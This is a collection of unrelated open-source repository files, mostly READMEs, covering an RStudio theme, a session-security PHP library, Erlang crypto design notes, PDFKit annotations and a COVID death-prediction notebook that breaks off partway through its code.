**Note**: There can be versioning issues with some of the various UI components (different item class codes etc). These usually present themselves as parts of the UI with white text on a white background. If you do run into any UI issues, feel free to look through the issues listed [here](https://github.com/johnnybarrels/rstudio-one-dark-pro-theme/issues) or create a new one for me to take a look at.

This theme has been tested and is fully functional on:
```
macOS Catalina 10.15.6, RStudio 1.4.750
macOS Catalina 10.15.6, RStudio 1.4.1010
```
and
```
Windows 10, RStudio 1.2.5033
```

The editor font I use is [Fira Code](https://github.com/tonsky/FiraCode), and the majority of the UI font is [Open Sans](https://fonts.google.com/specimen/Open+Sans). It is not necessary to install these.

If you have any suggested improvements, let me know [here](https://github.com/johnnybarrels/rstudio-one-dark-pro-theme/issues)!

repository: amelialouise/rstudio-one-dark-pro-theme

repo_name: amelialouise/rstudio-one-dark-pro-theme


text:
This program is modified from retrain.py from https://github.com/tensorflow/hub/raw/master/examples/image_retraining/retrain.py to work for the data structure and final layer architecture of our model.

* To run the training, enter in the terminal

```
python retrain_protein_atlas.py --image_dir DIRECTORY_TO_TRAINING_IMAGES
```

The default metadata file location is '../data/train.csv', and the training images stored in the folder '../data/train'. The training images are not uploaded to github due to space constraint, but can be found at https://www.kaggle.com/c/human-protein-atlas-image-classification/data.

The code is modified to work for the way that the training images and labels are supplied and stored. We also modified the last few network layers and loss functions for the protein image classification application.

path: /Transfer learning/README.md


text:
# Further Reading

You can find valuable information in the links below:
- [SQL++](http://db.ucsd.edu/wp-content/uploads/pdfs/375.pdf)
- [Ion](http://amzn.github.io/ion-docs/)

repository: partiql/partiql-lang-kotlin

filename: Further Reading.md

gha_language: Kotlin

repo_name: partiql/partiql-lang-kotlin


text:
AeroFS Chat
===

AeroFS Chat (a.k.a. AeroChat) is a secure chat service built on top of the AeroFS cloud platform.

Your messages are transferred via AeroFS channels and are only accessible by you and the intended recipients of your message. No third party can view your messages. Ever.

This project is a work in progress and was originally developed during a hackathon at AeroFS HQ.

Usage
---

To run AeroChat, download the aerochat executable and place it in an AeroFS shared folder. Double click on the application and an AeroChat chatroom will open. All members of the shared folder can participate in this chatroom.

Or run it from the command line:

    ./aerochat

Supported platforms: Mac OS X and common Linux distributions. Tested on Ubuntu 12.04 LTS.

<img align="center" src="https://raw.githubusercontent.com/mpillar/aerofs-chat/master/img/example.png"/>

Developers
---
Use the following command to run the unit tests for this project:

    python src/run_tests.py

To build a new AeroChat executable, simply run `./build.sh`. I will periodically commit updated `aerochat` executables, so the version in this repository should satisfy the needs of most.

repository: daleysoftware/aerofs-chat

repo_name: daleysoftware/aerofs-chat


text:
# Changelog

## [Unreleased]

## [5.2.2]
### Changed
- Client version updated on [5.1.22](https://github.com/reportportal/client-java/releases/tag/5.1.22), by @HardNorth
- Jbehave version was updated on version 5.1.1, by @HardNorth

## [5.2.1]
### Changed
- Client version updated on [5.1.16](https://github.com/reportportal/client-java/releases/tag/5.1.16), by @HardNorth

## [5.2.0]
### Added
- JBehave version 5 support, by @HardNorth
### Removed
- JBehave version 4.8 support, by @HardNorth

## [5.1.3]
### Changed
- Client version updated on [5.1.12](https://github.com/reportportal/client-java/releases/tag/5.1.12), by @HardNorth
### Fixed
- Skipped scenario handling, by @HardNorth

## [5.1.2]
### Added
- Test Case ID templating, by @HardNorth
### Changed
- Client version updated on [5.1.9](https://github.com/reportportal/client-java/releases/tag/5.1.9), by @HardNorth
- Slf4j version updated on 1.7.36, by @HardNorth
- Jbehave version was updated on version 4.8.3, by @HardNorth

## [5.1.1]
### Fixed
- [Issue #59](https://github.com/reportportal/agent-java-jbehave/issues/59): IAE when examples table parameter has $ character
- [Issue #57](https://github.com/reportportal/agent-java-jbehave/issues/57): Steps using the same Examples table parameter twice break reporting
- [Issue #56](https://github.com/reportportal/agent-java-jbehave/issues/56): Parameterised composite steps brake reporting

Special thanks to [Ivan Kalinin](https://github.com/ikalinin1)

## [5.1.0]
### Changed
- Version promoted to stable release
- Client version updated on [5.1.0](https://github.com/reportportal/client-java/releases/tag/5.1.0)

## [5.1.0-RC-3]
### Added
- ReportPortalStoryReporter#buildFinishTestItemRequest method
- JSR-305 annotations

## [5.1.0-RC-2]
### Changed
- Client version updated on [5.1.0-RC-12](https://github.com/reportportal/client-java/releases/tag/5.1.0-RC-12)

## [5.1.0-RC-1]
### Changed
- Client version updated on [5.1.0-RC-6](https://github.com/reportportal/client-java/releases/tag/5.1.0-RC-6)
- Version changed on 5.1.0

## [5.0.0-RC-3]
### Fixed
- Unsupported Operation exception on launch start
### Changed
- Client version updated on [5.0.21](https://github.com/reportportal/client-java/releases/tag/5.0.21)

## [5.0.0-RC-2]
### Added
- Comprehensive javadocs
- Composite steps support
- Many extension methods
### Changed
- Formatters class structure to reduce code amount and duplication
### Fixed
- Domain model dependency now switched on release version

## [5.0.0-BETA-9]
### Added
- `ReportPortalScenarioFormat` class, which is a formatter for reporting scenarios as steps

## [5.0.0-BETA-8]
### Changed
- Client version updated on [5.0.18](https://github.com/reportportal/client-java/releases/tag/5.0.18)
- The agent code was completely rewritten to ease configuration and reduce code amount

## [5.0.0-BETA-4]

repository: reportportal/agent-java-jbehave

branch_name: refs/heads/develop

gha_language: Java

repo_name: reportportal/agent-java-jbehave


text:
![Sugar](.resources/doc-header.jpg)

# Coffeekraken Squid

![npm](https://img.shields.io/npm/l/@coffeekraken/squid?style=flat-square)
![npm](https://img.shields.io/npm/v/@coffeekraken/squid?style=flat-square)
![npm](https://img.shields.io/npm/dw/@coffeekraken/squid?style=flat-square)

# Coffeekraken

We are a young collective of front-end creative developers with one goal in mind. Build tools to make every team working day life better. This is our first and only concern. All our tools are build around that purpose.
All what we provide are some cool tools that you can use the way you want. These tools features cover a large scope of the front-end workflow (styleguide generation, colors/fonts management, etc...). You can use only the parts that you need and let the rest aside...

[![Coffeekraken](.resources/coffeekraken-logo.jpg)](https://coffeekraken.io)

repository: jd-buzz/coffeekraken

repo_name: jd-buzz/coffeekraken


text:
Scott's Backup Script
=====================

My personal Windows backup script, uses a
[tower-of-hanoi slot alternation](http://en.wikipedia.org/wiki/Backup_rotation_scheme#Tower_of_Hanoi)
to keep old backups.  Nothing complicated; I like my backups reliable and easy to recover, so this script
simply copies (via robocopy.exe) the contents of a list of directories to another target directory
(presumably an external or network drive.  No incremental backups, no proprietary formats, no compression
(unless you set up compression in the Windows filesystem yourself), nothing that adds any complexity to
recovering files.

INSTALLATION and CONFIGURATION
------------------------------

First, install prerequisites:
 * Python (tested with version 2.4-2.7)
 * If Win32 for Python is installed, it'll use that a bit too.

Put all backup_script files into some directory, say C:\backup_script.

Copy backup.ini-template file to backup.ini.

Edit backup.ini; this file controls the backup by telling it what to copy and where.

BACKUP_ROOT defines the destination root directory.  Good examples are:

    BACKUP_ROOT=G:\backup

Next, setup the BACKUP_PATHS, the directories you want to back up.  The script will copy everything
under those directories to your backup location.  Separate paths by semicolon (;), if there's a pipe (|)
in the line, the second thing is the folder to copy it into under the destination root directory
(otherwise it defaults to whatever the source dir name is):

    BACKUP_ROOT=G:\backup
    BACKUP_PATHS=c:\misc;C:\pix\favorites|pix-favorites

would copy like so:

    C:\misc --> G:\backup\slot0\misc
    C:\pix\favorites --> G:\backup\slot0\pix-favorites

and the second time it runs, it'll copy to slot1.  Then slot0, slot2, slot 0, slot 1, and so on in
hanoi pattern.

You can also set a SINGLESLOT_BACKUP_PATHS if you have large directories that you don't care about history
on.  It will copy these paths to the "single" directory, instead of a slot.

RUNNING
--------

Once your backup.ini file is set up, just run

    backup_script.py

EXTRA SETTINGS
--------------

If you want, you can also muck with these configuration settings too:

    NUMBER_OF_SLOTS = 3
    EXCLUDE_DIRS = ' "Temporary Internet Files" "Cache" "Recent" "Cookies" "iPod Photo Cache" "MachineKeys" ".svn" "CVS" '
    EXCLUDE_FILES = ' ~$*.* *.bak *.tmp index.dat usrclass.dat* ntuser.dat* *.lock *.swp *.pyc *.obj *.pch *.ilk *.pdb *.a *.lib *.exp'


text:
# CoderSchool FTW - *Github Issue Page*

Created with :blue_heart: by **6 Idiots**
Philip (Developer), Dai (Developer), Ray (Developer), Hoa (Developer), Harold (Developer), Anh (Scrum Master)

## Description

![Gif Walkthrough](github-issue-gif.gif)

## Required User Stories

THE USER IS ABLE TO

- [x] Enter a repository in a search bar, click "search", and see the associated issues. The repository should be of the format owner/repo-name, e.g. facebook/react.
- [x] See a proper error message if the repository does not exist.
- [x] See the following information for each issue:
  - Issue Title
  - Number of the issue
  - Owner of the Issue
  - Owner Avatar
  - How long ago the issue was created in a human-friendly format (e.g. 2 days ago)
  - Body of the Issue
  - Label - note the color as returned by the API.
  - State of Issue (Open/Closed).
- [x] See multiple pages of results, by clicking a pagination control.
- [x] See the body of the issue rendered in markdown.
- [x] Create a new issue via a modal for the repository, by clicking on a "new issue" button. Clicking on this button will pop open a modal that asks for the requisite fields.
- [x] Create the issue (for example, not supplying all required parameters) if there is an error , there will be a nice error message to.

## Optional User Stories

THE USER CAN

- [] See more details (including comments!) in a modal that's opened by clicking on the title of the issue.
- [] Add a comment via a textarea at the bottom of the page, upon opening this modal.
- [] Can close the issue, upon opening the modal. If the person does not have the appropriate access to close an issue, sees a nicely formatted error message.
- [] See reactions attached to each comment (Reactions API).
- [] Add reactions to a comment (API documentation).

- [] Type in either https://github.com/facebook/react or facebook/react, BOTH should work: Input Fuzzy Matching

- [] Use React Router (link) to navigate to different URL issues/:issueId to display the full issue, instead of using Modal to show issue. Have the Back button to go back to the previous page (from the individual issue page).

## Time Spent and Lessons Learned

Time spent: We used extra time-dimension for this project.
* Get last page from API request
* Display image within markdown render properly
* fetch API for differenct if-else statement along with updating the state of the parent component: App.js
* Resolve empty array from the input which caused error message in map method and did not fire the second API request
* Pass state from parent component to child components
* Set up numbers of initial components/features and decided the initial state of the parent component

[//]: # (Describe any challenges encountered while building the app.)

## License

    Copyright [2019] [The contributors herein]

    Licensed under the Apache License, Version 2.0 (the "License");
    you may not use this file except in compliance with the License.
    You may obtain a copy of the License at

        http://www.apache.org/licenses/LICENSE-2.0

    Unless required by applicable law or agreed to in writing, software
    distributed under the License is distributed on an "AS IS" BASIS,
    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
    See the License for the specific language governing permissions and
    limitations under the License.

gha_language: JavaScript


text:
# image_folder
Module3_Labs/Lab3_Minesweeper/cards

# steps

## 7-1-1 Step 1

### name

```
Scenario #1: Input Length Code
```
### md_content
```
This expression handles the length not being 2 or 3 characters long, with the exception of "H".
```
### code_snippet

```python
move_input == "H" or (len(move_input) not in (2, 3))
```
## 7-1-1 Step 2
### name
```
Scenario #2: First Two Characters Code
```
### md_content
```
The first two characters must each be a digit. If any of them are not then we have to return `False` with the exception of "H".
```
### code_snippet
```python
move_input == "H" or not move_input[:2].isdigit()
```
## 7-1-1 Step 3
### name
```
Scenario #3: Out of Range Integers Code
```
### md_content
```
If the first two characters are digits then each digit must be within the range of 0 and the board's size. We must check each of the first two characters individually, and because `board` directly represents the list of `Cell` objects, `len(board)` gives us the size.
```
### code_snippet
```python
move_input == "H" or int(move_input[0]) not in range(len(board)) or int(move_input[1]) not in range(len(board))
```
## 7-1-1 Step 4
### name
```
Putting Scenarios #1-3 Together
```
### md_content
```
Because all of the scenarios above have the exception of "H", we can combine the non-"H" scenarios all in one clause:
```
### code_snippet
```python
if move_input == "H" or (len(move_input) not in (2, 3) or not move_input[:1].isdigit() or int(move_input[0]) not in range(len(board)) or int(move_input[1]) not in range(len(board))):
        return False
```
## 7-1-1 Step 5
### name
```
Scenario #4: Flagging Code
```
### md_content
```
When flagging, the first two characters have to be digits and the third character has to be `"f"` exactly.
```
### code_snippet
```python
if len(move_input) == 3 and move_input[2] != "f":
    return False
```
## 7-1-1 Step 6
### name
```
All Other Cases
```
### md_content
```
If the input 'passes' all of the given scenarios, then it must be valid input. You should return `True` if your code goes through all the scenarios without returning `False`.
```

repository: ShayanRiyaz/curriculum

repo_name: ShayanRiyaz/curriculum


text:
# Sesshin

Object-oriented, extendable advanced session handling component written with
security in mind that mitigates attacks like Session Hijacking, Session Fixation,
Session Exposure, Sesion Poisoning, Session Prediction.

Features:

* smart session expiry control
* prevents session adoption, i.e. session ids generated only by the component
  are acceptable (strict model)
* sends cookie only when session really created
* session id rotation (anti session hijacking), based on time and/or number of
  requests
* support for user-defined storage
* support for user-defined listeners (observers)
* support for user-defined entropy callback
* support for own fingerprint generators, e.g. user agent,
* unlike PHP native mechanism, you don't have to use cron or resourse-consuming
  100% garbage collecting probability to ensure sessions are removed exactly
  after specified time
* convention over configuration (has defined default listener, storage, entropy
  generator, fingerprint generator and ID storage)
* 100% independent from insecure native PHP session extension
* and some more...

[![Build Status](https://travis-ci.org/sobstel/sesshin.png?branch=master)](https://travis-ci.org/sobstel/sesshin)

## Requirements

* PHP 5.3

## Usage

### Initialization

```php
require_once __DIR__.'/src/Sesshin/ClassLoader/ClassLoader.php';

use Sesshin\ClassLoader\ClassLoader;
use Sesshin\Session\Session;

$loader = new ClassLoader();
$loader->register();

$session = new Session();
```

### Create new session

Only when `create()` called, session cookie is created (for native PHP session
handler cookie is present all the time whether it's needed or not).

```php
$session->create();
```

### Open existing session

If session was not created earlier, session is not opened and `false` is returned.

```php
$session->open();
```

If you want to create new session if it does not exist already, just pass `true`
as argument. It will call `create()` transparently.

```php
$session->open(true);
```

### Regenerate session id

```php
// auto-regenerate after specified time (secs)
$session->setIdTtl(300);

// auto-regenerate after specified number of requests
$session->setIdRequestsLimit(10);

// manually
$session->regenerateId();
```

### Observe (listen) special events

```php
$listener = $session->getListener();

$listener->bind(Session::EVENT_NO_DATA_OR_EXPIRED, function($event, $session){
  die('Session expired or session adoption attack!');
});
$listener->bind(Session::EVENT_NO_DATA_OR_EXPIRED, function($event, $session){
  die(sprintf('Session %s expired!', $session->getId()));
});
$listener->bind(Session::EVENT_INVALID_FINGERPRINT, function($event, $session){
  die('Invalid fingerprint, possible attack!');
});
```

### User session

```php
use Sesshin\Session\User;

$user_session = new User();

$user_session->create();
$user_session->login(1);

if ($user_session->isLogged()) {
  $user = UserRepository::find($user_session->getUserId());
  echo sprintf('User %s is logged', $user->getUsername());
}
```

### Change storage

```php
use Sesshin\Storage\Memcache;

$session->setStorage(new Memcache($memcache_driver));
```

### Change entropy algorithm

Entropy is used to generate session id.

```php
$session->getIdHandler()->setEntropyGenerator(new MyFancyEntropyGenerator());
```

`MyFancyEntropyGenerator` must implement `Sesshin\EntropyGenerator\EntropyGeneratorInterface`.

### Change session ID storage

By default session ID is stored in cookie, but sometimes you may need to force
session id, eg. based on some token, query string var, etc.

```php
$session->getIdHandler()->setIdStorage(new MyFancyIdStorage());
```

`MyFancyIdStorage` must implement `Sesshin\Id\Storage\StorageInterface`.

repository: ashishtilara/sesshin

repo_name: ashishtilara/sesshin


text:
---
title: First-Generation Memory Disaggregation for Cloud Platforms
type: page
conf: arXiv
year: 2022
link: https://arxiv.org/pdf/2203.00241.pdf
---

MSFT First-gen CXL system - Basilisk

abstract

- argument: 25% of memory stranded
- 50% of all VMs never touch 50% of their memory

intro

- DRAM is 50% cost for azure [1]
- Google. only 40% of DRAM is used [9,10]
- stranding is when all cores are rented, but memory is not
- challenges w/ introducing memory disagg
	- customer intertia (no workload changes)
	- compatible with virtualization acceleration
	- commodity HW (why?, no good reasoning)

- larger pools --> higher latency (is this true?)
- contributions:
	- HW layer: memory controller, 8-32 socket connection
		- each socket has local mem + access to 1-NUMA hop mem pool
	- system software
		 - memory management layer, exposing memory to a VM OS as zNUMA (similar to cpu-less NUMA [54])
	- distributed SW layer?
		- relies on predictions of VM latency sensitivity

- performance goals:
	- VM performance degredation
	- resource efficiency
	- "small blast radius" --> minimize impact of failures
- feature requirements
	- customer inertia
	- compatibility
		- virtualization makes things difficult
		- VM memory in DC must have entire address range pinned
		- RDMA-based systems wouldn't work because can't rely on hypervisor page faults
		- cannot migrate pages between local/pool either
	- commodity HW

-

gha_language: CSS


text:
# Isometric Renderer

This project is a "from scratch" isometric renderer. It enables the user to generate 2D images of a 3D voxel world.

The inspiration for this side-project was a [reddit post](https://www.reddit.com/r/pics/comments/nuy0aq/a_fun_geometric_painting_ive_been_working_on/) of some geometric artwork, which I wanted to re-create and experiment with.

## Getting started

To generate images, in the simplist case import the IsometricRenderer and provide it with a file-path to export to and a dictionary of "cubes", where the keys are tuple co-ordinates for each cube, and the values are an integer cube type. These cube types are used to colour the cubes.

```python
from isometric_renderer import IsometricRenderer

cubes = {
    (0, 0, 0) : 0
}

ir = IsometricRenderer()
ir.render(cubes, "example.png")
```

The above example gives you this:

The `IsometricRenderer` class has optional constructor arguments you can use to customise the renders generated. See the code for specifics however the key one is `cube_types` which is a list of filles where the index of each element corresponds to the `cube_type`.

```python
from isometric_renderer import IsometricRenderer

cube_types = [
    (255, 0, 0),
    (0, 255, 0),
    (0, 0, 255)
]

cubes = {
    (0, 0, 0) : 0,
    (1, 0, 0) : 1,
    (2, 0, 0) : 2
}

ir = IsometricRenderer(cube_types=cube_types)
ir.render(cubes, "example_2.png")
```

Using these two options alone allows you to generate some quite different renders.

This pseduo-terrain was generated using perlin noise, and setting some constraints to determine whether the block type is rock, dirt, grass or water.

Here is a pile of tetris pieces, created by randomly placing and rotating pieces in a normal distribution, then elevating them until they no longer collide with anything.

Finally, here is a cut down version of the reddit piece I've reproduced. There's a few differences, and I haven't replicated all the special block types, however it satisfys what I wanted to get out of the exercise.

> Note: The reason I didn't replicate all the block types, is they required a higher sub-cube count. The current supported shapes mean my sub-cube count is 12x12x12 however I would have to increase to 15x15x15 which would greatly increase the render time. Given some renders already have well over 1 million triangles, increasing this so much wasn't worth the optimisation.

## Issues/Backlog
- Filtering of cube_types.
- Render Ideas:
    - Tetris bits, piled up. higher distribution towards back to create the "slant". Place bits in first free place up from bottom, rather than "dropping" to compress them.
    - Terrain where blocks change hue/shade organically via perlin noise. Looks like mineral deposits.
    - Terrain: Perlin noise xy to give z and seperate noise to give a hue.

## Licence

MIT

repository: ThomasJackDalby/experimental

repo_name: ThomasJackDalby/experimental


text:
# STREAM.ElasticPrincipalGraph

STREAM (Single-cell Trajectories Reconstruction, Exploration And Mapping) is an interactive pipeline capable of disentangling and visualizing complex branching trajectories from both single-cell transcriptomic and epigenomic data. STREAM.ElasticPrincipalGraph is uses elastic principal graph learning to calculate a pseudotime trajectory.

[Full documentation](https://beta.genepattern.org/gp/getTaskDoc.jsp?name=urn:lsid:broad.mit.edu:cancer.software.genepattern.module.analysis:00399:0.2)


text:
# Implementation details

The Erlang code uses the `enacl` library for all its low-level cryptographic work. These are bindings to the NaCl/libsodium libraries. On top of this, the code implements a high-level packet-oriented protocol which uses the cryptographic primitives to secure the socket connection on the wire. See the document PROTOCOL.md for the protocol description and its security properties.

This document describes the construction of the Erlang system.

# General considerations

Currently, our system does a miserable job at throwing out old key data. In particular, if an attacker can gain memory access to a system, he may be able to grab even very old key data and obtain it. We plan on creating more safe vaults with overwriting capability in the future, but for now, we use the Erlang subsystem for ease of use.

# Specific processes

## Vault

A clients key is kept in a specialized process called the *vault*. This process is the only one who stores the secret key of the system. No provision has been made to protect this process against scrutiny from the shell, so if you have shell-access to the Erlang system, the secret key is known.

The design, however, is such that you can hide the secret key in various ways in your system. Either by implementing a hidden C node, or by hiding the key material behind a NIF, or something like that. By keeping the *vault* separate from the rest of the code, and by doing all secret-key cryptographic work in the vault, we make sure we can store the key differently later on. A good candidate is a hardware security module for instance.

The vault can box and open boxes pertaining to the secret key of `curve_tun`. While doing so, it also constructs long-term Nonce's according to the PROTOCOL.md specification. It always returns the box and the used Nonce to make it easy to incorporate into packets.

The vault tracks:

* Public/Secret key pairs of long-term keys.
* Counters for the long-term keys for nonce generation.
* The nonce block-key for scrambling the counter so it doesn't leak out.

## Cookie key process

A separate process maintain a cookie key generated at random. The key is cycled once in a minute, but older keys are kept for a minute. This key is used to decrypt cookies when they come in from the client. If the key has been cycled in the meantime, the older keys are tried.

The brilliance of the protocol is that cookies contain all information to construct the connection. So if used over a datagram protocol like UDP, the cookie acts like a SYN-cookie of TCP but encrypted. The client bears the burden of establishing the connection.

The security implications are that once a key is recycled, it is gone. This means that while the server needs protection, it doesn't track keys long-term and thus is less of a problem.

## The registry

There is a process which handles the peer registry. This is akin to the file `$HOME/.ssh/known_hosts` in the SSH system. It maps from IP addresses into Public keys for those addresses. In a future variant of the system, it is possible to use different kinds of registries. For instance a registry mapping into DNS and thus binding the keys into the infrastructure.

The registry must be protected against forgery on the endpoint. But apart from that, there are few security considerations. The registry only contains public keys of other clients, and possessing these should not damage anyone.

## Connection

Connection processes implement an FSM which runs the connection system. There are the following two possible transition chains:

	server: ready -> accepting -> connected
	client: ready -> initiating -> vouched -> connected

for servers and clients respectively. Furthermore, there is a 'closed' state we can transition to from any state if the TCP connection is shut down.

The process implements something looks a *lot* like a gen_tcp connection, but it does differ in that it provides a message-oriented interface over the socket. Future implementations might reinvigorate the stream nature on top of this protocol.

Multiple receivers are processed in FIFO order of their call to the `recv/1` function.


text:
# LEKTRIK
An interactive lightbulb installation for the club HALLO WERNER in Augsburg.

The installation was developed as part of the Interactive Media course at the Augsburg University of Applied Sciences and in collaboration with the design agency YEAH. The aim of the project was to develop a music visualization tool for the existing light installation. The music is analyzed live by software and an animation is calculated to match the piece of music. Using a MIDI controller, any type of animation can be triggered and changed.

Technology: 210 light bulbs, 30 relays, Raspberry Pi, VVVV, MidiController, Python, OSC.

[Clip on Vimeo](https://vimeo.com/174729932)

repository: schwamic/lektrik

repo_name: schwamic/lektrik


text:
---
layout: feature
title: 'Possessed'
shortdef: 'whether the noun is or is not possessed'
udver: '2'
---

Definition

In UD Apurinã, the feature `Possessed` marks forms that have a possessor (words may or may not have possessor indexes as well).

### `No`: not possessed

#### Examples

* _Ywa aapukutxi kuna awary ithure._ “The house had no window.”

### `Yes`: possessed

#### Examples

* _Uwa ũtanyrykata awa ũaapuku 'amarekatãĩ._ “She and her husband, she has a very big house.”

repository: UniversalDependencies/docs

branch_name: refs/heads/pages-source

repo_name: UniversalDependencies/docs


text:
# Annotations in PDFKit

Annotations are interactive features of the PDF format, and they make it
possible to include things like links and attached notes, or to highlight,
underline or strikeout portions of text. Annotations are added using the
various helper methods, and each type of annotation is defined by a rectangle
and some other properties. Here is a list of the available annotation methods:

* `note(x, y, width, height, contents, options)`
* `link(x, y, width, height, url, options)`
* `goTo(x, y, w, h, name, options)`
* `highlight(x, y, width, height, options)`
* `underline(x, y, width, height, options)`
* `strike(x, y, width, height, options)`
* `lineAnnotation(x1, y1, x2, y2, options)`
* `rectAnnotation(x, y, width, height, options)`
* `ellipseAnnotation(x, y, width, height, options)`
* `textAnnotation(x, y, width, height, text, options)`
* `fileAnnotation(x, y, width, height, file, options)`

Many of the annotations have a `color` option that you can specify. You can
use an array of RGB values, a hex color, or a named CSS color value for that
option.

If you are adding an annotation to a piece of text, such as a link or
underline, you will need to know the width and height of the text in order to
create the required rectangle for the annotation. There are two methods that
you can use to do that. To get the width of any piece of text in the current
font, just call the `widthOfString` method with the string you want to
measure. To get the line height in the current font, just call the
`currentLineHeight` method.

You must remember that annotations have a stacking order. If you are putting
more than one annotation on a single area and one of those annotations is a
link, make sure that the link is the last one you add, otherwise it will be
covered by another annotation and the user won't be able to click it.

* * *

Here is an example that uses a few of the annotation types.

    // Add the link text
    doc.fontSize(25)
       .fillColor('blue')
       .text('This is a link!', 20, 0);

    // Measure the text
    const width = doc.widthOfString('This is a link!');
    const height = doc.currentLineHeight();

    // Add the underline and link annotations
    doc.underline(20, 0, width, height, {color: 'blue'})
       .link(20, 0, width, height, 'http://google.com/');

    // Create the highlighted text
    doc.moveDown()
       .fillColor('black')
       .highlight(20, doc.y, doc.widthOfString('This text is highlighted!'), height)
       .text('This text is highlighted!');

    // Create the crossed out text
    doc.moveDown()
       .strike(20, doc.y, doc.widthOfString('STRIKE!'), height)
       .text('STRIKE!');

    // Adding go to as annotation
    doc.goTo(20, doc.y, 10, 20, 'LINK', {});

The output of this example looks like this.

![0](images/annotations.png)

Annotations are currently not the easiest things to add to PDF documents, but
that is the fault of the PDF spec itself. Calculating a rectangle manually isn't
fun, but PDFKit makes it easier for a few common annotations applied to text, including
links, underlines, and strikes.  Here's an example showing two of them:

    doc.fontSize(20)
       .fillColor('red')
       .text('Another link!', 20, 0, {
         link: 'http://apple.com/',
         underline: true
       }
    );

The output is as you'd expect:

![1]()

repository: blikblum/pdfkit

repo_name: blikblum/pdfkit


text:
[![CircleCI](https://circleci.com/gh/kenware/vue-survey-app.svg?style=svg)](https://circleci.com/gh/kenware/vue-survey-app)

[![Coverage Status](https://coveralls.io/repos/github/kenware/vue-survey-app/badge.svg?branch=ch-setup-circleci-test-environment)](https://coveralls.io/github/kenware/vue-survey-app?branch=ch-setup-circleci-test-environment)
# assessment-client

## Project setup
```
npm install
```

### Compiles and hot-reloads for development
```
npm run serve
```

### Compiles and minifies for production
```
npm run build
```

### Run your tests
```
npm run test
```

### Lints and fixes files
```
npm run lint
```

### Run your end-to-end tests
```
npm run test:e2e
```

### Run your unit tests
```
npm run test:unit
```

### Customize configuration
See [Configuration Reference](https://cli.vuejs.org/config/).

repository: kenware/vue-survey-app

repo_name: kenware/vue-survey-app


text:
---
title: Predicting COVID-19 Deaths by Similarity
date: 2020-05-11
---

I have been seen some discussion about epidemiologic models to predict the number of cases and deaths by COVID-19, which made me give some thought about the subject.

Since we have countries in different stages of the pandemic, my hypothesis was that we could use information from countries in advanced stages to predict information for countries at the beginning of the crisis.

Considering the number of deaths by COVID-19 registered, we can align the data for all countries, such that the day the first death by COVID-19 was registered for each country coincides with the origin.

With the data shifted, we can compute the correlation between each pair of countries and then find those pairs with high correlation. We can fit a linear regression to each of these pairs considering the country with more data as the independent variable and the one with fewer data as the response variable.

We can then use the data for the country with more data to predict the number of deaths for the other country. For, instance, for Brazil, the 8 highest correlated countries are Canada, USA, Egypt, Japan, Argentina, UK, Italy and Iran (all of them with correlation > 0.95).

I used the data provided by the Johns Hopkins University Center for Systems Science and Engineering (JHU CSSE) in their [GitHub repository](https://github.com/CSSEGISandData/COVID-19).

The code for this notebook can be downloaded from [here](https://github.com/luizvbo/notebooks/blob/master/covid_linear_reg.py).

```python
from typing import Tuple, Dict
import pandas as pd
import numpy as np
from sklearn.linear_model import LinearRegression
from tqdm import tqdm
from functools import partial
from glob import glob
from multiprocessing import Pool
import matplotlib.pyplot as plt
```

```python
# URL to the CSSE repository
url_covid_death = ("https://raw.githubusercontent.com/CSSEGISandData/COVID-19/"
                   "master/csse_covid_19_data/csse_covid_19_time_series/"
                   "time_series_covid19_deaths_global.csv")
# URL to the population data from Worldbank
url_pop = ("http://api.worldbank.org/v2/en/indicator/"
           "SP.POP.TOTL?downloadformat=csv")
```

```python
def get_same_origin(df: pd.DataFrame) -> pd.DataFrame:
    """Move first case to the origing

    Args:
        df (pd.DataFrame): Input data frame, where each column corresponds to
        one country. It should be the output of the function `set_index`.

    Returns:
        pd.DataFrame: Data frame with every column shifted up
    """
    n_days = df.shape[0]

    def _pad_days(s):
        s = s.astype(float)
        s_pad = s[s.cumsum() != 0]
        return np.pad(s_pad, (0, n_days-s_pad.shape[0]),
                      'constant', constant_values=np.nan)

    df = (
        df.apply(_pad_days, raw=True)
        .reset_index(drop=True)
    ).dropna(how='all')

    return df

def set_index(df: pd.DataFrame) -> pd.DataFrame:
    """Set the index for the data frame using the date

    Args:
        df (pd.DataFrame): Data frame obtained from John Hopkins repo

    Returns:
        pd.DataFrame: Preprocessed data
    """
    # Set region, country, lat and long as index
    index = pd.MultiIndex.from_frame(df.iloc[:, :4])
    # Set the index and transpose
    df = df.iloc[:, 4:].set_index(index).T
    # Set date as index
    return df.set_index(pd.to_datetime(df.index, dayfirst=False))

def compute_lr(country: Tuple[int, str], df_covid: pd.DataFrame,
               min_diff: int = 7) -> Dict[Tuple[str, str], Dict]:
    """Fit the logistic regression for each pair of countries

    Args:
        country (Tuple[int, str]): Tuple with the index of the
            country in the column list and the country
        df_covid (pd.DataFrame): Data frame containing the data shifted to
            the origin.
        min_diff (int, optional): Minimum difference in the number of days to
            consider the country pair. Defaults to 7.

    Returns:
        Dict[Tuple[str, str], Dict]: Dictionary where the keys are the pairs
            of countries and the value is a data dictionary with the data
            computued.
    """
    i, col_1 = country
    results = {}

    for col_2 in df_covid.columns[i+1:]:

        x = df_covid[col_1].dropna().values
        y = df_covid[col_2].dropna().values

        # Keep the largest array in x
        if x.shape[0] < y.shape[0]:
            x, y = y, x
            x_label, y_label = col_2, col_1
        else:
            x_label, y_label = col_1, col_2

        x, y = x.reshape(-1, 1), y.reshape(-1, 1)

        if x.shape[0] - y.shape[0] > min_diff:
            lr = LinearRegression()
            # The weights increase linearly from 1 to 2
            weights = np.linspace(1, 1, y.shape[0])
            lr.fit(x[:y.shape[0]], y, weights)

            results[(x_label, y_label)] = dict(
                lr_model=lr,
                r_score=lr.score(x[:y.shape[0]], y),
                predicted=lr.predict(x),
                x=x, y=y,
            )

    return results

def plot_candidates(df_candidates: pd.DataFrame,
                    nrows: int = 4, ncols: int = 2,
                    over_days: bool = True,
                    figsize: Tuple[int, int] = (12, 15)):
    """Plot the regression for pairs of countries

    Args:
        df_candidates (pd.DataFrame): Data frame with pairs of countries with
            the linear regression data

        nrows (int, optional): Number of rows to plot. Defaults to 4.
        ncols (int, optional): NBumber of columns to plot. Defaults to 2.
        over_days (bool, optional): If True, plot the data over days.
            Otherwise, plot one country agains the other. Defaults to True.
        figsize (Tuple[int, int], optional): Size of the resulting fiture.
            Defaults to (12, 15).

    Returns:
        [type]: Figure object
    """
    fig, axs = plt.subplots(nrows, ncols)
    df_ = df_candidates.head(nrows * ncols)
    for (i, row), ax in zip(df_.iterrows(), axs.flatten()):
        if over_days:
